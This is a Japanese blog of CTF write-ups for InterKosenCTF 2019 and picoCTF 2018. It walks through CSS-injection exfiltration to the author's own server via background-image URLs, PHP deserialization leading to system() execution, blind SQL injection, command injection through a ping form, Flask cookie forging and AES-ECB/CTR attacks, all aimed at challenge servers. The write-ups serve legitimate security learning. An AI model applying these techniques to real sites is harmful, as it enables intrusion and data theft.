<h1 class="lead flag" value="You're not an admin! If you were, this would be the flag.">Welcome to my awesome website!</h1>

みたいな記載があったため、show-adminで送りつけた時にここのvalueを抜けば良いことが分かります。これはSECCONのQualで通し損ねた部分と同じCSS Injectionでした。

graneed.hatenablog.com

ただし、この時のように視覚的な情報は得られないため、他の手段で情報を取得する必要があります。

background-image:url(https://hoge/)

みたいにすることにより、外部に対してリクエストを送りつけることができそうです。よって、.flag[value^=hoge]{background-image: url(hoge.png)}みたいなリクエストを自サーバーに送ればいい事がわかります。

解いた時点では小分けで文字毎にCSSを送っていますが、今考えると一度で全てのCSSを送りつけても良かったですね…。

以下ソースです。

gist.github.com

感想

Moar Horse 3を解いた翌日、高熱を出して一日寝込んでしまいました…。(徹夜でCTF、やめよう!)

これがなければ詰めきれていない問題ももう少し解けていたであろうと思うと悔しい限りです。

 

InterKosenCTF Write-Up

概要

2019年1月18～20日にかけて開催された、InterKosenCTFのWriteUpです。

所属しているチーム「生活習慣崩壊ズ(seikatsukowareru)」は1850点を獲得し、5位となりました。そのうち、自分は5問通して900点を獲得しました。

自分の通せた5問について解法を記したいと思います。

Gimme Chocolate(Web 100pts)

brainfuckで特定の文字列を出力できたら勝ち。ただし、ソースに文字制限(100文字)があるので、どうやっても正当ソース(400文字)を捩じ込めない模様です。

//However, looking into the details, there are some differences. Be careful!

インタプリタのところに上記の記述があったので、最初にそこを見ました。メモリがリングになっているだけで、脆弱性はまったくありませんでした。

投稿されたソースはすべての人に見えるようになっているため、投稿によるものでないと考えます。恐らく外部からソースを注入する、または出力せずに何らかの方法でフラグにアクセスするのだろうと思いました。

ざっと見ていると、

$code = file_get_contents($_GET['file']);

とありました。公式レファレンスを見ると、file_get_contentsはURLからも取得できるようです。以下のGistのrawデータを投げ、通しました。

gist.github.com

lights out(Cheat 100pts)

exeで(たぶん)クリア不可能なゲームが落ちてくるので、クリアしてくださいという問題。(ゲーム内容:クリックしたら周り3*3マスの色が反転するので、全て点灯させたら勝ち。)

f:id:keymoon:20190121003630p:plain

ゲーム画面

exeで落ちてくるのは相当珍しいので、恐らくC#的なそれなのかなあと想像。とりあえずILSpyに入れてみると、いい感じで開けました。

ただし、変数名がハングルに置き換わっている、文字列が動的生成になっている等の難読化が施されています。

そこまで酷い難読化ではなさそうなので、適当にフラグを表示する部分を探していました。すると、以下の関数が怪しそうだと感じました。恐らく全てのマスについて点灯していることを確認したらメッセージボックスを出しているのでしょう。

f:id:keymoon:20190121003445p:plain

怪しい関数

メッセージボックスの引数にあるFlagと思われる文字列は謎の関数の返り値となっています。なので、この関数を見てみます…

謎の関数

なんだこれ。stringを返しているのかと思いきやValueTuple('(int,int,int)'の部分)を返している…?(何も分からない。)

しかし、実はこれが関数呼び出しであるということがわかります。

適当に関数名をつけたりして実行できる形にしたものが以下です。

gist.github.com

これを普通に実行し、str2()の戻り値を表示させてあげると、フラグが出てきます。

Secure Session(Web 200pts)

PHPのSessionHandlerを継承した自前セッションハンドラのデモが与えられます。flagがどこにあるかはわかりません。

このハンドラはAESを用いてセッションに入る文字列を暗号化しています。暗号利用モードはCBC、まあまあ弱い奴です。

なので、これの脆弱性をつく問題なのかな、と考えました。しかし、どうやら違うようです(偽装できない上、これでセッションを偽装できたところで何の利益もないので。セッションに保存されている情報はアクセスカウンタのみです。)

しかし、セッションハンドラのセットアップを省略するため、クライアントにシリアライズされたセッションハンドラを渡し、二回目以降はそれを利用してセットアップを行っています。

ダメそうなコード

つまり、クライアント側で$handlerに入るオブジェクトをある程度自由に変更できるというわけです。シリアライズされているhandlerは以下のように作られています。

シリアライズされるデータはSecureSessionに紐付いている全てのオブジェクトなので、ここで宣言されている変数全てが変更可能となります。

handlerのセットアップ部分。

set_cryptoでhandlerが用いる暗号化/復号化関数を設定しています。これはSECRET_KEY,messageを引数として取り、暗号化/復号化した結果を返すものです。

アクセス時に呼ばれる関数なので、この関数を改造して上手いことできれば嬉しそうだとわかります。

先程も言ったとおり、setした関数にはkeyと文が渡されます。つまり、第一引数であるkeyは自由に設定ができるということです。よって、encryptにコマンドを自由に実行できるsystemを指定し、SECRET_KEYをls(ディレクトリにあるファイルを一覧表示するコマンド)としました。

 ローカルでシリアライズしたものを送りつけると、いい感じで出てきてくれました。

f:id:keymoon:20190121011901p:plain

図

/hOI_the_flag_is_hereにアクセスし、おわりです。

Login(Web 250pts)

adminとしてログインさせる問題です。

ソースを読むと、サニタイジングをせずにSQLに突っ込んでいるところが存在しました。明らかにSQL Injectionが刺さります。

ここで、2つの方針が浮かびます。adminのパスワードを当てる方法、passwordに返した値とパスワード自体が同じ、または同じMD5になるような値を探す方法があります。

大体は後者を取っているようですが、私は前者を取りました。

0からfまでをパスワードとして持つアカウントを取り、そのアカウントのパスワードよりadminのパスワードのn文字目が大きければログイン成功、そうでなければ失敗というSQL文になるようにユーザー名を設定しました。その成否で二分探索を行い、パスワードを特定しました。

ソースは以下です。

gist.github.com

anti cheat(Cheat 250pts)

Canvasで実行されるゲームです。JSがこれでもかと言うほど難読化されています。高スコアを取れば勝ちなようです。

まず、どこから手を付けてよいかわかりませんでした。ということで、ステップバイステップ実行をし、描画が切り替わる際に実行されている関数を発見しました。

そこにブレークポイントを打ち、フレーム毎の実行を可能にしました。現在の目標は高スコアを取ることなので、スコアの改竄を考えます。

スコアが変わった際に変わった変数を探したいと考えたので、スコアが変わる前と変わった後のグローバルの内容をJSONでダンプ、整形してDiffを取りました。(整形後のjsonは30MBくらいあり、整形にも1分ほど掛かりました…。画像は10万行ほどあったnullの配列を削ぎ落とした後のものです。)

f:id:keymoon:20190121013453p:plain

Diffの様子

ぐっと睨むと怪しい変数を2個見つけることができます。現在のスコアが保存されている変数と、それの二乗が保存されている変数です。

その2つをとても大きく変更してあげると、フラグを見つけることができます。

雑感

始まる前にお風呂に入ろうと思ったらむちゃくちゃ寝てしまいました。

 スタートダッシュが切れなかったので、自明問の得点ブーストがかからないのが厳しいなあと思ったんですが、割と良い成績を残せたようで良かったです。

問題も自分に合った難易度のものが多くあり、解いたものは全て楽しめました。

あと土日がCTFだと完全に休めませんね。これを書いている今は日付が変わって月曜日なのですが、正直信じられないです……(無茶苦茶疲れている)。

picoCTF2018 Write-Up(サブ)

これは何?

この記事のサブ記事です。

keymoon.hatenablog.com

大量の問題を解いたので、あまり説明するところの少ない問題はWrite-Upを分けてあります。(大体解説が数行で終わってしまい、記事がごちゃごちゃしてしまうのを防ぐためです)

この記事の問題は、What's My Name?以外が一日目に解いた問題です。

 

net cat

  • genre : General Skills
  • point : 75

nc 2018shell2.picoctf.ctf 36356をコマンドラインに打つ 出る 

grep 1

  • genre : General Skills
  • point : 75

grep picoCTF fileをコマンドラインに打つ 出る

Inspect Me

  • genre : Web Exploitation
  • point : 125

F12を押して開発者モードを立ち上げる ソースコードを見るとコメントがいくつかあるので、それをいくつか合わせると答えが出た。

JSファイルだけにフラグが書かれていなくて最初困惑した。

what base is this?

  • genre : General Skills
  • point : 200
  • solves : 

BinaryやHexエンコードされたそれが与えられるので、それを特定のbaseを使ってデコードしなさいという問題。自分はソルバを書いたんですが、Webデコーダを使って結果を打ち込んでも余裕で間に合いますね…

gist.github.com

caesar cipher 1

  • genre : Cryptography
  • point : 150

問題文的にまぁシーザー暗号なので、それっぽい文になるまでシーザー暗号を回した。デコーダに貼り付ければよかった。

LoadSomeBits

  • genre : Forensics
  • point : 550

 画像を開こうとするが、開けませんでした。ファイルを見てみるとbmpみたいなので、Headerフォーマットをググる。Header長を表すbitが明らかに普通のbmpファイルとは違うようなので、Headerを見てみる。すると、0,1のみのbitが初めに羅列されていた。

ここが怪しいので、コピーしてデコードしてみると出てきた。

コンソールに貼り付けられる文字数に制限があることを忘れていて、最初はフラグが途中までしか出なかった。それのせいで1時間位別のことを考えていて時間を無駄にしてしまった。

hex editor

  • genre : Forensics
  • point : 150

 言われた通りHex Editorで開いた。眺めていると最後の方にフラグが見えた。

HEEEEEEERE'S Johnny!

  • genre : Cryptography
  • point : 125

 Shadowが与えられるので、クラックツールのJohn the ripperに突っ込む。待つと出た。

strings

  • genre : General Skills
  • point : 100

 strings strings | grep pico (picoはフラグの初めの文字列)をした。

pipe

  • genre : General Skills
  • point : 100

 nc 2018shell2.picoctf.com 34532をすると大量の行が送られてくるので、strings同様 | grep picoをつけて実行した。 出た。

grep 2

  • genre : General Skills
  • point : 125

 Web shell上の問題だった。stringsと同じようなファイルがディレクトリ内にあるので、stringsと同様にstrings strings | grep picoをした。

environ

  • genre : Web Exploitation
  • point : 150

 環境変数にフラグがあるようだ。環境変数を出力するprintenvをした。

hertz

  • genre : Cryptography
  • point : 150

 ncでアクセスすると、換字式暗号っぽい文章が降ってくる。最初は地力でやろうとしたが、諦めてツールを探した。

quipqiup - cryptoquip and cryptogram solver

ここが強そうだったので、ここに突っ込んで待つと出た。

Truly an Artist

  • genre : Forensics
  • point : 200

 ファイルのメタデータにあると思ったが、どうにも表示がうまく行かなかったので、バイナリエディタで開いて眺めていたら見つけた。

blaise's cipher

  • genre : Cryptography
  • point : 200

アクセスすると暗号文が出てくるので、その中にあった年号らしい数字を幾つか拾った。1553 cypherなどで検索するとVigenère cipherという記事がヒットして、この中にあった年号も他のものとおおよそ一致していたのでこれだろうと思った。

この暗号のソルバを見つけることができたので、入れて試したら出てきた。

www.dcode.fr

 

now you don't

  • genre : Forensics
  • point : 200

 プレーンな一枚の真っ赤な画像が与えられた。どうせ違うところがありそうと思ったので、前のCTFで使ったソルバ(これのAlpha)を少し改変して、1つ目のPixelとの差を見るようにした。

keymoon.hatenablog.com

you can't see me

  • genre : General Skills
  • point : 200

とりあえずlsでディレクトリを覗いて見ると、 中にあるファイルが見当たりませんでした。ls -aで隠しファイルも一緒に表示させてあげると、どのディレクトリにもあるもの以外にも'.     'というファイルが見当たった。それを出力してあげるとフラグが出た。

Lying Out

  • genre : Forensics
  • point : 250

 とあるサービスの平常時のアクセスグラフが与えられる。nc 2018shell2.picoctf.com 2245にアクセスすると、時間とアクセス数が与えられるので、どれが平常時のアクセスでないかを答えろという問題だった。グラフとデータを睨んで頑張ったらできた。

ssh keyz

  • genre : General Skills
  • point : 150

ShellにSSHでつなげという問題。設定をしろと言われているが、実はssh 2018shell2.picoctf.comを叩くだけでフラグが出てしまう(僕は便利なので設定しましたが)

hertz 2

  • genre : Cryptography
  • point : 200

nc 2018shell2.picoctf.com 59771にアクセスすると、換字式暗号の何かが降ってくる。何も考えずにオンラインソルバに突っ込んだ。

No Login

  • genre : Web Exploitation
  • point : 200

一通りセッションCookieだとかいろいろなところを弄ってみたが駄目だった。ヤケになってadmin=true;をCookieにセットしたら通った。なんだこれ

learn gdb

  • genre : General Skills
  • point : 300

radareの方が好みなのでr2 -d runをした。radareの使い方はここでは説明しない(僕もよく分かっていないので)

decrypt_flagなる関数があったので、その最後の方まで実行を進めてあげて、そこで止めた。そうするとレジスタにフラグが入っているのが見える。

Malware Shops

  • genre : Forensics
  • point : 400
  • solves : 

nc 2018shell2.picoctf.com 18874に繋ぐと、Lying Outのような統計を元とした解析の問題が降ってくる。Lying Outは完答だったが、これは一答のみなので探査範囲が狭いと思い、ブルートフォースした。(最悪)

What's My Name?

  • genre : Forensics
  • point : 250
  • solves : 

WireSharkで開いて、トラフィックを目Grepして怪しいURLを見つける。

そのURLでフィルターを掛け、目Grepしていたら出てきた。

初めはWHOISにでも突っ込むのかなぁと思っていた。

おわりに(?)

書くのが疲れました…(多分全部に目を通してないとは思いますが、通してくださった方はお疲れ様でした。それ以外の方もありがとうございます。)

一日目はじゃんじゃん開いてじゃんじゃん通してスピード感がありました。そのため眠気も忘れられ、おかげで生活習慣が崩壊しました。(2時開始から17時くらいまでやってたので(この後のARCで成功できたの凄くないですか?))

メインのWrire-Upはこちら。

keymoon.hatenablog.com

picoCTF2018 Write-Up

はじめに

picoCTF2018のWrite-Upです。僕は生活習慣崩壊ズとして参加し、33問解いて9325点取りました。チームとしては29935点で総合順位は44位でした。アメリカの高校生換算だと13位みたいです。嬉しい。(10位までが賞金です)

解いた問題が結構多くなってしまったので、解説が数行で終わってしまうような問題は別記事に分けました。

keymoon.hatenablog.com

それでは、各問題について書いていきます。

 

script me

  • genre : General Skills
  • point : 500

括弧列が与えられるので、その生成規則を考えて問題を解けという問題。与えられる生成規則はこちら : script me

まずこの括弧列(?)の生成規則について考えました。いろいろと睨みながら考えていましたが、括弧列の深さが深い方に浅い方が取り込まれる、同じであれば連結という結論に至りました。(データ構造をマージする一般的なテク)

また、競プロのように計算量を改善しなくてもいい程度の量なので、併合の都度深さを計算し直しても恐らく問題ないです。なので、適当に実装していい感じにしました。

コードです。(これはその時書いたコードをなくしてしまったため、再現です)

gist.github.com

circuit123

  • genre : Reversing
  • point : 800

暗号とデコーダのソースが与えられるので、デコードしなさいという問題。与えられるファイル群はこちら : circuit123

Keyを2進数にしたものの各bitを変数とし、それにXorやらOrやらを演算して新しい変数を作り、その変数に対してさらに演算をし…と繰り返し、一つの変数に纏めます。その変数がFalseになるような数字がkeyになります。

まずKeyは128bitなので、全探索は無理です。一応DAGなので、制約を辿っていい感じにするものも書けそうでしたが、相当辛いと感じたのでやめました。

ヒントにHave you heard of z3?とあったので、Z3でググりました。どうやら制約を指定するとそれを満たす変数を調べてもらうことができる便利ライブラリ(SATソルバ)みたいです。

コードでXorやOrの演算をしているところをそのまま制約と見て、チェッカを改変してあげることでZ3に突っ込めるコードを出力させてあげることにしました。出たコードを実行すると見事に出てくれたので、後はそれを適当に整形するスクリプトを書きました。

以下がZ3コードを出すコードです。これもその時使ったコードをなくしてしまったので再現です。

出力されたZ3コード、その出力のパースに使ったC#コード、その出力のデコードに使ったPythonコードは別のGistに置きました。(とても長いため)

gist.github.com

Help Me Reset 2

  • genre : Web Exploitation
  • point : 600

むちゃくちゃ怪しい解法で通しました。多分非想定解です。

① Help Me Resetを解く。なんと、この問題は途中で消失してしまった(期間限定)。

② Help Me Resetの回答URLを履歴から見つけてくる。

③ 2でも同じところにアクセスする。

④ フラグがある。

前作のセーブデータがあったらボーナスが貰えるゲームっぽい(小並感)

fancy-alive-monitoring

  • genre : Web Exploitation
  • point : 400

IPアドレスを入力して、それにpingを送るプログラムです。入力チェックはクライアントとサーバー双方にありましたが、クライアント側は適当に改変できるのでサーバーのみのソースを置きます。 : source

サーバー側のチェックを見てみます。URLの正規表現は以下 : 

^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])

とても長くて見えにくいですが、([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])部分は0-255までの数字かどうかのチェックです。この部分を[0-255]と表すことすると、これは^([0-255].){3}[0-255]となります。

この正規表現に気になる部分な二箇所あります。一箇所目はドットのエスケープが抜けているので、ドットの部分に任意の文字を挿入できるということ、もう一つは正規表現に終端チェック($)がないので、後ろに任意の文字列を繋げられるということです。

通ったIPはexec('ping -c 1 '.$ip, $cmd_result);のようにコマンドに埋め込まれて実行されているので、後ろに任意の文字列を繋げられるということは&などで別タスクとして任意のコマンドを実行できるということです。また、ipアドレス部分も1a1a1a1等にできるので、pingを送る長い処理を待つことなく迅速にコマンドを実行できます。

このプログラムではコマンドの出力に特定の文字列が含まれているかどうかで二択の出力を返しています。条件を満たしていたら特定の出力を出す、そうでなければ出さないという具合にすると出力にtrue/falseを出せます。なので、二分探索的にコマンドの出力を推測できることになります。(今回は実装が大変だったので二分探索などは行いませんでした。)

ソルバは以下 : 

gist.github.com

(合わなかったので、漁師がドットをアンダーバーに置換して通しました。)

roulette

  • genre : General Skills
  • point : 350

 問題のソースはこちら: roulette.c

　この問題は2つの脆弱な箇所を見つける必要がありました。チームメイトがどちらも見つけ、僕はそれを実装する形になりました。ぞへが乱数の脆弱性、漁師がオーバーフローの脆弱性を見つけましたが、僕は乱数の脆弱性の方しか理解できていません。なので、本稿では乱数の脆弱性についてのみ触れます。

乱数を初期化しているシードが金額の初期値として与えられているので、シードは分かります。シードが分かれば次からの乱数をすべて予測できるので、次からルーレットを当てる/外すは自由となります。

オーバーフローの脆弱性は特定の数字を入れるとそれがマイナスとして扱われるようです。このマイナスをbetした状態で負けると当然金額も増えるので、負けて増やすことができます。

　なぜどちらの脆弱性も必要かと言うと、クリア条件が「特定の回数以上勝った状態で、とても多い金額に到達する」であるからです。乱数のみならば目標金額に到達せず、オーバーフローのみなら勝ちを引けません。

　実装は、問題のプログラムのソースに「シードを任意でセットする」と「入力に関わらず常に勝ちにする」という実装を加えただけなので省略します。

　これは余談ですが、脆弱性を後から見つけた漁師はその時学校で、乱数を見つけたぞへは睡眠中(?)だったので僕が実装することになりました。なんで正午なのに寝てるんですか?

Ext Super Magic

  • genre : Forensics
  • point : 250

ファイルが与えられます。シグネチャを見るとディスクイメージだとわかるので、マウントしようとしましたができません。

何処かが壊れてるんだろうなあと思ったので、とりあえず同じサイズでディスクイメージを作成してヘッダ部分をコピペしてあげました。そうすると動いたみたいです。それっぽいjpgイメージがあると漁師が言っていたので探しました。あったので引っ張ってきたらフラグがありました。

Flaskcards Skeleton Key

  • genre : Web Exploitation
  • point : 600

問題文でSecret_key: a7a8342f9b41fcb062b13dd1167785f8なる"Secret_key"が与えられています。adminを取ると勝ちです。

漁師によると、FlaskというPythonによるWebフレームワークがあり、与えられたSecret_keyはこれのcookieの正当性チェックに用いられるkeyのようです。この問題もFlaskで動いているので、このkeyがあればcookieを偽装することが可能だということです。

これのsession-cookieは、eyJfZnJlc2giOmZhbHNlLCJ1c2VyX2lkIjoiOSJ9.DqGfag.grYAqLOASF2MpQmJXT8V4wDZ7SQという感じで入っています。これはbase64.time.hashという形で、base64が読みたい内容、dateはcookieの日時(2000-01-01からの経過時間)、hashが正当性チェック用のhashです。これが偽装できれば任意のユーザーでログインできます。

base64をデコードしてみると、{"_fresh":false,"user_id":"9"}という形になっています。_freshはよくわからないがfalseで固定のようで、user_idがユーザーID(連番)であると思われます。Adminは恐らく0か1なので、ここが0か1になっているCookieを生成したいです。

あとは単純にサーバーの動きをこちらでも実装してあれげばいいので、flaskをインストールしてサーバーと同じようにcookieを生成しました。

gist.github.com

SpyFi

  • genre : Cryptography
  • point : 300

問題のソース : Source

フラグを含んだ文字列の前に任意の文字を入れられる文字列を暗号化した結果を返してもらえます。暗号はAESですが、ブロック方式はECBモードです。これは文字列を16byteに分割し、それぞれについて暗号を掛けます(画像:Wikipedia)

f:id:keymoon:20181029002823p:plain

つまり同じ16文字のブロックは常に同じ文字列を返すことが分かります。

ここで問題で与えられる文字列を見てみます。自由な文字列を挿入できるので文字列の長さを変えることができます。これを上手くやると、任意の16文字についての暗号化結果を入手できることが分かります。

また、不明部分(picoCTF{???}のハテナ部分)までの文字数も分かっているので、不明部分が一文字だけ含まれたブロックを作成することもできます。

それを行ったのが以下です。

gist.github.com

アンダースコア(_)は位置をズラすための無駄な文字、アスタリスク(*)は求めたいブロックの文字列をそこに入れます。この場合だと"de is: picoCTF{?"です。不明部分である?を可能な文字について全探索してあげ、暗号文が一致するものがあればそれが一文字目だと分かります。

もちろん一文字分かれば二文字目、それが分かれば…と続けていけるので、フラグの終端までそれを繰り返します。

ソースコードです。

gist.github.com

eleCTRic

  • genre : Cryptography
  • point : 400

Source

与えられた特定の文(flagのファイル名)を暗号化した文を入手できれば勝ちです。特定の文字を含むファイル名以外であれば任意の文を暗号化可能です。

ソースを読んでみるとCTRモードで動いていることが分かります。これは暗号で使うキーを各ブロック毎に変更することでセキュアな暗号方法を実現するものです。(画像:Wikipedia)

具体的には、特定の初期値(Nonce)とcounterを暗号化し、それと平文をXORすることで

暗号文を生成しています。(平文はAESなどの暗号アルゴリズムを直接通過しません。)

f:id:keymoon:20181029004338p:plain

しかし、この問題だとカウンタが動いていません。つまり、平文とXORする文字列はどのブロックでも変わらないのです。

flagのファイル名はアンダースコアを含んでいて、これは暗号化できない文字列であるので___…___flag_hoge.txt のような文字列を暗号化するアプローチは取れません。なので、平文とXORする文字列を特定します。

平文はASCIIで与えられているので、適当な文字列を与えて暗号文とXORしてあげれば目的の文字列を入手できます。これにより、文を暗号化することができます。

これはソルバというより計算の問題だったので、オンラインのBase64デコードやXORが簡単に可能なサイト(Cryptii)を使用しました。

James Brahm Returns

  • genre : Cryptography
  • point : 700

POODLEをします

ソース:

gist.github.com

 

おまけ:asm-4

ぞへがFlagらしきものを出したのに通りませんでした。適当にエスパーして通しました。

 感想

2週間ずっとCTFをやるっていうのもなかなかに楽しいですね。たくさん解ける問題があってずっと速度が落ちなかったのも楽しかったです。また、東工大のHaruharaMaiチームと接戦を繰り広げられたのでよかったです。最後まで負けていたんですが、ぞへが最後の50分くらいで通した激アツ展開でした。

スコアの伸びのグラフです。3/4くらいのところで上がっているのは、僕が最後の三問くらいを一気に通せたからです。たのしかった。

f:id:keymoon:20181029013432p:plain